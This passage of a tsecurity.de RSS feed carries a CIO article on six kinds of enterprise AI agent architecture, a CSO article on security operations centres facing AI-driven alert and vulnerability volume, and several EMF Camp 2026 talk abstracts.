<p class="wp-block-paragraph">“You don’t want someone to feel the results may be wrong if you’re using AI to assess a person and their future depends on it,” he notes. “You want to remove any doubts [in such AI use cases], and the strategy should ensure that. The strategy should include all the work needed to have that trust.”</p>
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<title><![CDATA[The 6 kinds of AI agent architectures]]></title>
<description><![CDATA[Somewhere in the last eighteen months, “AI agent” stopped being a useful term. CIOs may even be afraid to ask what “agent” truly means, as it now seems to describe everything from a chatbot that answers HR questions to an autonomous research system that plans its own week of work. When a single p...]]></description>
<link>https://tsecurity.de/de/3680680/it-security-nachrichten/the-6-kinds-of-ai-agent-architectures/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680680/it-security-nachrichten/the-6-kinds-of-ai-agent-architectures/</guid>
<pubDate>Mon, 20 Jul 2026 11:09:07 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Somewhere in the last eighteen months, “AI agent” stopped being a useful term. CIOs may even be afraid to ask what “agent” truly means, as it now seems to describe everything from a chatbot that answers HR questions to an autonomous research system that plans its own week of work. When a single phrase carries that much weight, well, it stops carrying any.</p>



<p class="wp-block-paragraph">I’ve spent the last three years inside hundreds of enterprise AI deployments, and the factor that separates the programs scaling elegantly from the ones still shuffling is often the CIO’s architectural fluency: The ability to look at business problems across the organization and recognize, on sight, what kind of AI architecture is the right fit. In my experience there are six archetypes, each with their own nuances, that CIOs should internalize to make well-informed decisions going forward.</p>



<h2 class="wp-block-heading">1. The conversational assistant</h2>



<p class="wp-block-paragraph">The first, and the one most enterprises meet first, is the conversational assistant: The chat-based partner that an employee or customer opens when they want to think out loud. <a href="https://www.deloitte.com/us/en/what-we-do/capabilities/applied-artificial-intelligence/content/state-of-ai-in-the-enterprise.html?id=us:2ps:3gl:aisgm26:awa:CONS:em:K0218784:012626:kwd-430833501819:195648817121:794247818306::&amp;gclsrc=aw.ds&amp;gad_source=1&amp;gad_campaignid=23269751971&amp;gbraid=0AAAAADenGPCB8F-Mx6GhUt0V1PWpgLqtw&amp;gclid=Cj0KCQjwi8nRBhDhARIsAHZf_pYktgKgYgYBAR6AcMikwdYOF7q6S3WaLiLYg2hwhvdCjRiqajxnqtkaAsdYEALw_wcB">Deloitte found that 38%</a> of organizations report AI is already strengthening their client or customer relationships. This is the architecture people fall in love with: A well-designed assistant with constantly updated information, persistent user-level memory, tools that can act on behalf of users, and citations on every factual claim becomes a useful problem-solver that’s available at any hour of the day.</p>



<p class="wp-block-paragraph">A global law firm I work with deployed an internal assistant that gives every attorney instant access to the firm’s accumulated precedent, memos and prior matter work. Associates who used to spend the first hour of a research task hunting through document management systems now start with a grounded, citation-backed answer and refine from there. This helped the firm’s institutional knowledge, previously locked in the heads of senior partners, become queryable by anyone with a deadline at 11 p.m., or later.</p>



<p class="wp-block-paragraph">A second example: A mid-market wealth management firm built a client-facing assistant that handles portfolio questions, statement explanations and routine servicing requests. The assistant draws from each client’s actual holdings, recent activity and the firm’s published market commentary, with citations linking back to source documents. Advisors stopped being interrupted for the questions that didn’t require an advisor, and clients got answers on a Sunday.</p>



<h2 class="wp-block-heading">2. The triggered workflow</h2>



<p class="wp-block-paragraph">Another pattern producing the value across the enterprises I work with is something that runs silently: An email arrives, a ticket is created, a file lands in a folder and the agent executes a process utilizing both reasoning and determinism. These agents don’t even require user adoption, because they’re invisible to the end user. They produce measurable outcomes, but fit cleanly into the audit and change-control processes IT teams have run for decades.</p>



<p class="wp-block-paragraph">A commercial insurer I advise built a triggered workflow for inbound submissions. Every broker email that arrives at the underwriting inbox is classified by line of business, the attachments are parsed, key risk fields are extracted into the policy administration system, and a draft acknowledgment is queued for the underwriter’s review. Seemingly overnight, the inbox began arriving pre-sorted, and submission throughput rose meaningfully without any change to headcount.</p>



<p class="wp-block-paragraph">Another example, this time from a private equity firm: Every inbound confidential information memorandum (CIM) that hits the deal team’s shared inbox triggers a workflow that extracts the financial summary, screens it against the firm’s investment criteria, drafts a preliminary memo and posts the result into the deal-tracking system. Associates still make the call on what to pursue, but the first three hours of manual work on each opportunity now happen before anyone even opens the file.</p>



<h2 class="wp-block-heading">3. The autonomous agent — with sub-agents</h2>



<p class="wp-block-paragraph">Here we have the architecture that gets the most conference attention: The autonomous agent, given a task and left to plan its own steps by utilizing its own sub-agents. Autonomous agents are not one-size-fits-all, but they do meet a specific need: Multi-source research, complex cross-system lookups, deep-dive investigations. All of these are processes where the path isn’t usually specified in advance, but the tools are. With the right design discipline, an autonomous agent feels like having a self-sufficient teammate who can call in the right resources and specialists if needed.</p>



<p class="wp-block-paragraph">A global consulting firm I work with uses an autonomous research agent for early-stage engagement scoping. Given a target company and a strategic question, the agent decides for itself which sub-agents to consult (choosing from internal proprietary databases, prior engagement archives, licensed market data, public filings) and produces a structured briefing with its reasoning chain attached.</p>



<p class="wp-block-paragraph">Another large technology company I know of deployed an autonomous agent for cross-system incident investigation. When a production alert fires, the agent forms a hypothesis, queries the necessary sub-agents with relevant monitoring tools, log stores and deployment systems, and follows the trail until it reaches a defensible root-cause summary to surface to an engineer.</p>



<h2 class="wp-block-heading">4. The multi-agent team</h2>



<p class="wp-block-paragraph">The fourth pattern is where the next wave of enterprise quality gains is going to come from. <a href="https://www.databricks.com/resources/ebook/state-of-ai-agents">According to Databricks</a>, usage of multi-agent systems grew 327% in just four months as enterprises moved beyond single chatbots. Several specialized agents, each with its own role and toolset, coordinate through a shared protocol: A researcher and a writer, a planner and a set of executors, a proposer and a critic. The proposer-critic feedback loop is one of the smartest techniques in agent design today. One model produces an answer; a second, with a different prompt and often a different provider, evaluates it against explicit criteria. For compliance review, contract analysis, high-stakes classification and any output that will be audited, this second pass is extremely helpful and mirrors how human teams work.</p>



<p class="wp-block-paragraph">A global bank I work with uses a multi-agent system for marketing and communications review. One agent drafts client-facing copy, a second checks it against the firm’s regulatory and brand guidelines and a third checks it against jurisdiction-specific disclosure rules. Disagreements among the agents are surfaced to a human reviewer with the specific clauses flagged. The compliance team stopped being the bottleneck on every routine piece of copy and started focusing on the high-judgment cases instead.</p>



<p class="wp-block-paragraph">The next example: A pharmaceutical company built a multi-agent workflow for medical literature summarization. A retriever agent gathers candidate studies, a reader agent extracts study design and findings, a critic agent challenges the reader’s claims against the source text, and a synthesizer agent composes the final brief. The proposer-critic loop in the middle is the reason the medical affairs team trusts the output enough to act on it.</p>



<h2 class="wp-block-heading">5. The human-in-the-loop (HITL) agent</h2>



<p class="wp-block-paragraph">The fifth pattern is the one I think we’ll see increasingly more of in the future. While many see “full automation” as the goal, the right target is actually to let the agent handle the 80% of a task that is mechanical, while preserving human judgment at the most critical moments. This is achievable via human-in-the-loop (HITL) agents. <a href="https://www.moodys.com/web/en/us/insights/ai/human-in-the-loop-why-human-oversight-still-matters-in-ai-driven-risk-and-compliance.html">According to Moody’s, 42%</a> of compliance professionals believe that human oversight is mandatory, and I agree: AI should run <em>right</em>, by getting approval and review before any sensitive business action is taken. HITL is the architecture that can help turn a skeptical team into an enthusiastic one.</p>



<p class="wp-block-paragraph">A regional health system I worked with uses a HITL agent for prior-authorization letters. The agent assembles the clinical evidence, drafts the letter against the relevant payer’s criteria, and routes it to a nurse case manager for review inside the existing workflow tool. The nurse approves, edits or rejects in seconds rather than minutes, and every edit helps make the next draft better.</p>



<p class="wp-block-paragraph">A property management company uses a HITL agent to run its maintenance work orders. When a tenant emails about a problem (an HVAC unit that died overnight, say), the agent pulls the structured details (tenant, unit, issue type, urgency), matches the job to the right vendor from the directory, and drafts the work order. A team member approves it in Slack before anything goes out. From there the agent emails the vendor with the full order, confirms with the tenant that someone is on the way and updates Airtable, closing the loop completely.</p>



<h2 class="wp-block-heading">6. The scheduled agent</h2>



<p class="wp-block-paragraph">On a set schedule or against a batch of inputs, this agent runs the same defined task: Produce a report, refresh a dataset, monitor a set of sources or summarize a period of activity. Under this archetype, unsexy work gets done consistently, integrated into existing operational rhythms like the Monday morning meeting, the daily standup and the monthly board deck, without asking anyone to change their behavior. This is the architecture that shifts AI from feeling like even more work, to a seamless teammate that just works.</p>



<p class="wp-block-paragraph">A private equity firm I work with runs a scheduled agent every Monday at 6 a.m. that monitors news, filings and earnings activity across every portfolio company and produces a single PDF that lands in the deal partners’ inboxes before the weekly investment meeting. No one logs into a dashboard. The agent shows up, on time, with the same format every week, and the meeting now starts from a shared baseline rather than from whatever each partner happened to read over the weekend.</p>



<p class="wp-block-paragraph">A second example: A global manufacturer runs a nightly batch agent that ingests the day’s quality-control reports across plants, summarizes anomalies against a rolling baseline, and produces an end-of-shift handoff document for each site lead’s morning. The agent doesn’t flag emergencies, but it ensures that the slow-moving patterns no human would catch reading one shift’s data in isolation get surfaced.</p>



<h2 class="wp-block-heading">Bringing it together</h2>



<p class="wp-block-paragraph">None of these six archetypes is more advanced than the others or inherently better. But CIOs can have an edge by choosing the one that the operational problem actually calls for.</p>



<p class="wp-block-paragraph">Before you scope a single deployment, you should be able to look at a business problem and name its shape: Is this a question someone needs answered in the moment, or a process that should run the instant a trigger fires? Does the path need to be discovered, or is it known in advance and just waiting to be executed? Where, exactly, does human judgment have to stay in the loop, and where is it just friction?</p>



<p class="wp-block-paragraph">Going forward, CIOs should start treating the architecture decision as the first design choice. Everything downstream — adoption, governance, trust — only gets easier if the architecture is the right fit.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[SOCs face a human challenge as AI speeds alerts and threats]]></title>
<description><![CDATA[Security operations centers (SOCs) have spent years struggling under the weight of growing alert volumes, expanding attack surfaces, and chronic staffing shortages. Now artificial intelligence is adding a new complication: not just more information, but more machine-generated information that mus...]]></description>
<link>https://tsecurity.de/de/3680465/it-security-nachrichten/socs-face-a-human-challenge-as-ai-speeds-alerts-and-threats/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680465/it-security-nachrichten/socs-face-a-human-challenge-as-ai-speeds-alerts-and-threats/</guid>
<pubDate>Mon, 20 Jul 2026 09:08:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph"><a href="https://www.csoonline.com/article/3840447/security-operations-centers-are-fundamental-to-cybersecurity-heres-how-to-build-one.html">Security operations centers (SOCs)</a> have spent years struggling under the weight of growing alert volumes, expanding attack surfaces, and chronic staffing shortages. Now artificial intelligence is adding a new complication: not just more information, but more machine-generated information that must itself be evaluated.</p>



<p class="wp-block-paragraph">“There is an asymmetry here because you now have to parse through a lot of AI slop to get to, ‘Okay, is this real or not?’” <a href="https://www.linkedin.com/in/fsmontenegro/">Fernando Montenegro</a>, vice president and practice lead at The Futurum Group, tells CSO.</p>



<p class="wp-block-paragraph">His observation captures a growing concern among security leaders. AI is helping attackers and defenders move faster, but it is also creating <a href="https://www.cio.com/article/4077448/ai-workslop-the-new-productivity-killer-only-training-can-stop.html">new forms of cognitive burden</a> for the humans tasked with separating signal from noise.</p>



<p class="wp-block-paragraph">As <a href="https://www.csoonline.com/article/4155342/what-anthropic-glasswing-reveals-about-the-future-of-vulnerability-discovery.html">AI accelerates vulnerability discovery</a> and enables more automated reconnaissance and exploitation, defenders are increasingly responsible for overseeing systems whose outputs can be difficult to interpret or verify. The challenge is not simply more work. It is that the volume, speed, and complexity of that work are increasing simultaneously.</p>



<p class="wp-block-paragraph">Yet experts who study and advise SOCs reject the idea that collapse is inevitable. Instead, they describe an industry entering a difficult transition that could reshape how security teams operate and how humans and machines share responsibility for defense.</p>



<h2 class="wp-block-heading">The vulnerability surge is exposing years of security debt</h2>



<p class="wp-block-paragraph">One of the most immediate concerns is the possibility that <a href="https://www.csoonline.com/article/4158117/anthropics-mythos-signals-a-structural-cybersecurity-shift.html">AI dramatically increases the number of vulnerabilities</a> organizations must identify and remediate.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/christopher-crowley-1200339/">Chris Crowley</a>, a longtime cybersecurity instructor and SOC expert, argues that organizations are facing the <a href="https://www.csoonline.com/article/570851/7-ways-technical-debt-increases-security-risk.html">consequences of years of accumulated technology debt</a>.</p>



<p class="wp-block-paragraph">“A lot of what we’re going to have to account for in the next couple of years is a technology debt of vulnerable software that has been deployed because it’s good enough to solve the problem, but then there are all these latent cyber issues, flaws, vulnerabilities that weren’t discovered prior to deployment,” he tells CSO.</p>



<p class="wp-block-paragraph">AI-assisted vulnerability discovery has the potential to expose those weaknesses at a pace defenders have never experienced before.</p>



<p class="wp-block-paragraph">“The compression of work that is being dropped on us is unprecedented,” Crowley says. “We’ve just been ignoring it for decades.”</p>



<p class="wp-block-paragraph">He does not believe AI will necessarily create entirely new classes of vulnerabilities. Instead, he expects defenders to confront much larger volumes of familiar problems.</p>



<p class="wp-block-paragraph">“We’re going to have 100 of these simultaneously,” he says, referring to the kinds of high-priority vulnerabilities security teams traditionally handle one at a time.</p>



<p class="wp-block-paragraph">The AI challenge for many SOCs may be less a novelty problem than a volume problem. Security teams already know how to patch systems, prioritize remediation, and respond to critical exposures. What changes is the scale and speed at which those demands arrive.</p>



<p class="wp-block-paragraph">Organizations with mature patching, prioritization, escalation, and response processes may struggle but adapt. Organizations that have treated security operations as a bare-minimum compliance function may find themselves overwhelmed.</p>



<p class="wp-block-paragraph">For CISOs, Crowley says, that means treating “patch now” less as an occasional emergency state and <a href="https://www.csoonline.com/article/4196435/flaw-surge-fuels-need-for-cisos-to-rethink-vulnerability-management.html">more as a permanent operating posture</a>. As AI accelerates vulnerability discovery, the distinction between routine maintenance and crisis response may continue to blur.</p>



<p class="wp-block-paragraph">He compares the situation to disaster recovery planning. Organizations that wait until a crisis arrives to establish staffing plans, escalation paths, and remediation processes may discover there is not enough help available.</p>



<h2 class="wp-block-heading">Cognitive overload may become the defining challenge</h2>



<p class="wp-block-paragraph">While vulnerability discovery receives much of the attention, Montenegro believes security leaders need a broader framework for understanding AI’s impact.</p>



<p class="wp-block-paragraph">Organizations should think about AI through three lenses, he says: security for AI, AI for security, and security from AI. The first involves protecting AI systems. The second involves using AI to improve defensive operations. The third asks what happens when adversaries use AI against the organization.</p>



<p class="wp-block-paragraph">For SOCs, all three categories are beginning to overlap.</p>



<p class="wp-block-paragraph">As AI makes it easier to create reports, assessments, vulnerability submissions, and other operational artifacts, humans remain responsible for determining whether that information is accurate and useful.</p>



<p class="wp-block-paragraph">“It becomes much easier to generate content,” Montenegro says, “but if you’re going to review that content as a human, the onus on you now is that much larger.”</p>



<p class="wp-block-paragraph">The result is a new form of cognitive overload. Security professionals may spend increasing amounts of time evaluating machine-generated information instead of conducting higher-value security work.</p>



<p class="wp-block-paragraph">Organizations can increasingly use AI to summarize reports, evaluate alerts, and assist with investigations, but humans remain responsible for validating the results.</p>



<p class="wp-block-paragraph">“We’re not at the stage yet where people are comfortable” handing off critical decisions entirely to AI, he says.</p>



<p class="wp-block-paragraph">That leaves defenders caught between two competing realities: AI is creating more information to process, but AI is also becoming one of the few viable tools for managing that growing workload.</p>



<p class="wp-block-paragraph">For Montenegro, the principle should be to automate tasks, not roles. AI can absorb repetitive investigative steps, but organizations should be cautious about removing humans from the process entirely.</p>



<p class="wp-block-paragraph">The risk, he says, is that if organizations hide too much complexity behind automated outputs, analysts may lose opportunities to develop the domain knowledge needed to advance.</p>



<p class="wp-block-paragraph">“How is that professional who is reacting to those alerts growing as a professional?” he says.</p>



<h2 class="wp-block-heading">The gap between mature and struggling SOCs may widen</h2>



<p class="wp-block-paragraph">Not every organization will experience the impact of AI in the same way.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/johnlhubbard/">John Hubbard</a>, senior cybersecurity consultant and SANS instructor, believes the industry’s response will largely depend on how well organizations have prepared for operational stress before AI arrives at scale.</p>



<p class="wp-block-paragraph">“I would roughly break security operations teams into two camps,” Hubbard tells CSO. “There are the ones that are definitely struggling, are already overwhelmed. And then some are doing really well.”</p>



<p class="wp-block-paragraph">The struggling organizations tend to be understaffed, underfunded, undertrained, or dependent on ad hoc processes. Every incident feels different, forcing teams to improvise under pressure.</p>



<p class="wp-block-paragraph">“Getting hit with something like this can certainly be an accelerant for burnout if they weren’t already experiencing it,” Hubbard says.</p>



<p class="wp-block-paragraph">By contrast, mature security teams have already invested in processes, training, exercises, and automation. “The teams that are doing a really solid job now are probably not super overwhelmed because they’ve developed the processes and procedures to be ready for this kind of thing,” Hubbard says.</p>



<p class="wp-block-paragraph">He compares successful SOCs to fire departments. Firefighters cannot predict exactly where the next emergency will occur, but they know how to respond because they have rehearsed those responses repeatedly.</p>



<p class="wp-block-paragraph">“The teams that kind of can react like a fire department are the ones that are getting it right,” he says.</p>



<p class="wp-block-paragraph">Those organizations <a href="https://www.csoonline.com/article/570871/tabletop-exercises-explained-definition-examples-and-objectives.html">conduct tabletop exercises</a>, adversary emulation exercises, <a href="https://www.csoonline.com/article/571891/red-vs-blue-vs-purple-teams-how-to-run-an-effective-exercise.html">red-team assessments</a>, and <a href="https://www.csoonline.com/article/3829684/how-to-create-an-effective-incident-response-plan.html">incident response</a> drills. As a result, they can absorb additional workload without descending into panic.</p>



<h2 class="wp-block-heading">Burnout remains the industry’s most difficult problem</h2>



<p class="wp-block-paragraph">Despite widespread concern about AI-enabled attacks, none of the experts view AI solely as a threat. Several argue that AI will become essential for helping defenders cope with the challenges it creates.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/jose-marie-griffiths-9106b7b/">Jose-Marie Griffiths</a>, president emerita and former CIO of Dakota State University, believes AI can help security teams sift through overwhelming volumes of information and identify the signals that matter most.</p>



<p class="wp-block-paragraph">“People who work in SOCs are now seeing overwhelming volumes of data, and they’re getting fatigued,” Griffiths tells CSO.</p>



<p class="wp-block-paragraph">AI can help automate portions of analysis, validate alerts, and improve visibility into complex environments. But Griffiths cautions that some AI-assisted vulnerability discovery tools are also producing large numbers of false positives.</p>



<p class="wp-block-paragraph">That matters because false positives do not eliminate work. They create it. As organizations confront escalating volumes of findings, distinguishing genuine risk from erroneous results may become as important as discovering vulnerabilities in the first place.</p>



<p class="wp-block-paragraph">The experts agree that technology alone will not determine outcomes. People will.</p>



<p class="wp-block-paragraph">Crowley argues that cybersecurity professionals must recognize that uncertainty is intrinsic to the profession. “We are the group that deals with uncertainty,” he says. “That’s really and truly what cybersecurity is.”</p>



<p class="wp-block-paragraph">That reality places responsibility on both individuals and organizations. Analysts need mechanisms for managing stress. Teams need to recognize when colleagues are approaching their limits. Managers need to <a href="https://www.csoonline.com/article/3631614/cybersecurity-is-tough-4-steps-leaders-can-take-now-to-reduce-team-burnout.html">establish healthy escalation practices and realistic expectations</a>.</p>



<p class="wp-block-paragraph">Hubbard rejects the notion that burnout is inevitable.</p>



<p class="wp-block-paragraph">“It is not a foregone conclusion that security operations jobs have to be a painful grind that everyone hates,” he says.</p>



<p class="wp-block-paragraph">He has seen organizations where employees remain engaged for years because leaders actively manage workload, create supportive cultures, and encourage open communication.</p>



<p class="wp-block-paragraph">That includes making it safe for analysts to admit when they have reached their limits. “If people are unwilling to say, ‘I’m maxed out right now, and I’m going crazy,’ that’s going to be the thing that breaks a lot of teams,” Hubbard says.</p>



<p class="wp-block-paragraph">Pay alone may not solve the problem. Crowley pointed to SANS/SOC <a href="https://www.sans.org/white-papers/2026-sans-soc-survey-insights-decade-evolution-cyber-defense">survey findings</a> showing that compensation ranked fourth among retention factors, behind meaningful work, training, and professional development.</p>



<h2 class="wp-block-heading">The future SOC may look very different</h2>



<p class="wp-block-paragraph">Griffiths believes organizations will need to respond not only with better technology but with structural changes. Traditional tiered SOC models may need to evolve into more collaborative teams with diverse expertise working together in real-time.</p>



<p class="wp-block-paragraph">“I think we’re going to have to eliminate the hierarchies a little bit and have teams of people with different expertise working together,” she says.</p>



<p class="wp-block-paragraph">She also argues that organizations should invest in human expertise rather than simply increasing AI consumption. “Buy engineers, not tokens,” she says.</p>



<p class="wp-block-paragraph">Professional networks and peer support will matter as much as any tool, Griffiths says, because defenders need trusted communities where they can compare notes, share practices, and avoid facing sustained pressure in isolation.</p>



<p class="wp-block-paragraph">If there is a consensus emerging among experts, it is that AI is exposing weaknesses that already existed.</p>



<p class="wp-block-paragraph">The staffing shortages, alert fatigue, burnout, and process failures affecting SOCs did not begin with generative AI. AI is simply amplifying them.</p>



<p class="wp-block-paragraph">At the same time, AI is providing new tools that may help organizations manage those very challenges.</p>



<p class="wp-block-paragraph">The future SOC may spend less time manually triaging alerts and more time validating automated findings, conducting threat hunting, and making strategic decisions. Human expertise may increasingly be paired with AI systems that act as operational partners.</p>



<p class="wp-block-paragraph">The transition will not be painless. Some teams will struggle. Some practitioners may leave the field. Others will adapt and thrive.</p>



<p class="wp-block-paragraph">“In a way,” Griffiths says, “we’re turning the whole SOC inside out.”</p>



<p class="wp-block-paragraph">Montenegro sees the transition as a cybersecurity version of the Red Queen effect: defenders and attackers must keep running simply to stay in place.</p>



<p class="wp-block-paragraph">Borrowing from science-fiction author William Gibson, Montenegro offered perhaps the simplest description of the industry’s current moment: “The future is already here. It’s just unevenly distributed.”</p>



<p class="wp-block-paragraph">For security leaders, that future is arriving in the form of AI-generated vulnerabilities, AI-assisted investigations, and AI-enabled adversaries. The question is no longer whether security operations centers will change. It is whether organizations can adapt quickly enough to keep pace.</p>
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<title><![CDATA["Don't set fire to the singer!"; Making a video jacket for a world concert tour. (emf2026)]]></title>
<description><![CDATA[A deep dive into the process of designing and implementing a fully custom-built wearable video screen, which was used on a 50-date international arena concert tour by a well-known musical artist in 2025 and 2026. 
Details of all aspects will be explored, from initial concept design with the artis...]]></description>
<link>https://tsecurity.de/de/3679810/it-security-video/dont-set-fire-to-the-singer-making-a-video-jacket-for-a-world-concert-tour-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679810/it-security-video/dont-set-fire-to-the-singer-making-a-video-jacket-for-a-world-concert-tour-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 20:02:07 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A deep dive into the process of designing and implementing a fully custom-built wearable video screen, which was used on a 50-date international arena concert tour by a well-known musical artist in 2025 and 2026. 
Details of all aspects will be explored, from initial concept design with the artist's creative and tour production teams, technical electronic and mechanical aspects, integration of the electronics into the costume, as well as the practicalities of building reliable &amp; robust hardware on a very short timescale. 
And of course the safety aspects of making a body-worn system capable of using over 250 watts of power. 

This was a commercial project, and is planned to be a joint presentation by myself (freelance electronics consultant) for the technical aspects, and my client (design studio) talking about production liaison, logistics and final hardware integration (sewing &amp; wiring!).

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/37-dont-set-fire-to-the-singer-making-a-video-jacket]]></content:encoded>
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<title><![CDATA[Hidden Wi‑Fi Killers: Everyday Things Quietly Ruining Your Home Internet]]></title>
<description><![CDATA[  Many everyday objects can quietly wreck your Wi‑Fi, and understanding them is the first step to a more stable home network. From kitchen gadgets to building materials, the invisible radio waves carrying your data are constantly competing with physical…
Read more →
The post Hidden Wi‑Fi Killers:...]]></description>
<link>https://tsecurity.de/de/3679800/it-security-nachrichten/hidden-wifi-killers-everyday-things-quietly-ruining-your-home-internet/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679800/it-security-nachrichten/hidden-wifi-killers-everyday-things-quietly-ruining-your-home-internet/</guid>
<pubDate>Sun, 19 Jul 2026 19:43:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>  Many everyday objects can quietly wreck your Wi‑Fi, and understanding them is the first step to a more stable home network. From kitchen gadgets to building materials, the invisible radio waves carrying your data are constantly competing with physical…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/hidden-wi-fi-killers-everyday-things-quietly-ruining-your-home-internet/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/hidden-wi-fi-killers-everyday-things-quietly-ruining-your-home-internet/">Hidden Wi‑Fi Killers: Everyday Things Quietly Ruining Your Home Internet</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA["Don't set fire to the singer!"; Making a video jacket for a world concert tour. (emf2026)]]></title>
<description><![CDATA[A deep dive into the process of designing and implementing a fully custom-built wearable video screen, which was used on a 50-date international arena concert tour by a well-known musical artist in 2025 and 2026. 
Details of all aspects will be explored, from initial concept design with the artis...]]></description>
<link>https://tsecurity.de/de/3679795/it-security-video/dont-set-fire-to-the-singer-making-a-video-jacket-for-a-world-concert-tour-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679795/it-security-video/dont-set-fire-to-the-singer-making-a-video-jacket-for-a-world-concert-tour-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 19:38:30 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A deep dive into the process of designing and implementing a fully custom-built wearable video screen, which was used on a 50-date international arena concert tour by a well-known musical artist in 2025 and 2026. 
Details of all aspects will be explored, from initial concept design with the artist's creative and tour production teams, technical electronic and mechanical aspects, integration of the electronics into the costume, as well as the practicalities of building reliable &amp; robust hardware on a very short timescale. 
And of course the safety aspects of making a body-worn system capable of using over 250 watts of power. 

This was a commercial project, and is planned to be a joint presentation by myself (freelance electronics consultant) for the technical aspects, and my client (design studio) talking about production liaison, logistics and final hardware integration (sewing &amp; wiring!).

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/37-dont-set-fire-to-the-singer-making-a-video-jacket]]></content:encoded>
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<title><![CDATA[An Internet for the Solar System (emf2026)]]></title>
<description><![CDATA[This talk explores the emerging concept of “An Internet for the Solar System” — a networked approach to interplanetary communication that could transform how spacecraft, habitats, and missions share data beyond Earth. Starting with NASA’s LunaNet initiative, we will examine how principles from te...]]></description>
<link>https://tsecurity.de/de/3679529/it-security-video/an-internet-for-the-solar-system-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679529/it-security-video/an-internet-for-the-solar-system-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 15:33:06 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[This talk explores the emerging concept of “An Internet for the Solar System” — a networked approach to interplanetary communication that could transform how spacecraft, habitats, and missions share data beyond Earth. Starting with NASA’s LunaNet initiative, we will examine how principles from terrestrial internet infrastructure are being adapted for the unique challenges of space: extreme latency, intermittent connectivity, and vast distances.

The session will introduce Delay/Disruption Tolerant Networking (DTN), a key protocol framework enabling reliable communication where traditional internet models fail. We will explore how LunaNet envisions a federated system of lunar orbiters, surface relays, and Earth-based nodes working together as a scalable, interoperable network.

A particular focus will be placed on ground infrastructure, including the role of commercial and community-accessible deep space facilities such as Goonhilly Earth Station. Once a cornerstone of satellite communications, Goonhilly is now re-emerging as a key player in deep space data links, supporting missions and opening opportunities for non-governmental participation in space communications.

The talk will also consider future extensions of this interplanetary internet: Mars networks, autonomous routing between spacecraft, and the potential for open standards that enable wider access beyond national space agencies.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/45-an-internet-for-the-solar-system]]></content:encoded>
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<title><![CDATA[Menopause.exe:running_with_limited_resources "Hacking the Hormonal System Update" (emf2026)]]></title>
<description><![CDATA[Menopause is a hormone system update you didn’t ask for: no consent, no user manual, and no warning label. Once installed, it triggers a ripple effect across social, mental, physical, and work systems. Subtly rewriting routines and behaviors almost overnight. The system you once knew, which used ...]]></description>
<link>https://tsecurity.de/de/3679466/it-security-video/menopauseexerunningwithlimitedresources-hacking-the-hormonal-system-update-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679466/it-security-video/menopauseexerunningwithlimitedresources-hacking-the-hormonal-system-update-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 14:31:59 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Menopause is a hormone system update you didn’t ask for: no consent, no user manual, and no warning label. Once installed, it triggers a ripple effect across social, mental, physical, and work systems. Subtly rewriting routines and behaviors almost overnight. The system you once knew, which used to run seamlessly, now requires debugging, optimization, and at times a little creative patching.
Menopause affects over 1 billion individuals worldwide, yet it remains poorly understood. Despite its universal impact, it is shrouded in myths and a pervasive enforced silence, leaving many unprepared for the changes it brings. This presentation reframes menopause as a hormone system update, exploring how it can subtly, and sometimes dramatically alters life experiences. Viewed through the lens of anyone who has ever had to troubleshoot a stubborn, unpredictable system, this presentation examines how this important life transition and why understanding these changes matter for you and your community. 
My aim is to have an honest conversation about this topic that empowers you with self-advocacy.
Drawing on my own lived experience and as a certified menopause coach, this talk blends data, humor, and clear language to unpack what happens during menopause and why “just pushing through it” is not a viable workaround. I’ll highlight the latest stats, debug common myths, and reveal how menopause quietly affects your entire life.
We can’t roll back the update, but we can optimize the system.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/153-menopause-exe-running-with-limited-resources-hacking-the]]></content:encoded>
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<title><![CDATA[Menopause.exe:running_with_limited_resources "Hacking the Hormonal System Update" (emf2026)]]></title>
<description><![CDATA[Menopause is a hormone system update you didn’t ask for: no consent, no user manual, and no warning label. Once installed, it triggers a ripple effect across social, mental, physical, and work systems. Subtly rewriting routines and behaviors almost overnight. The system you once knew, which used ...]]></description>
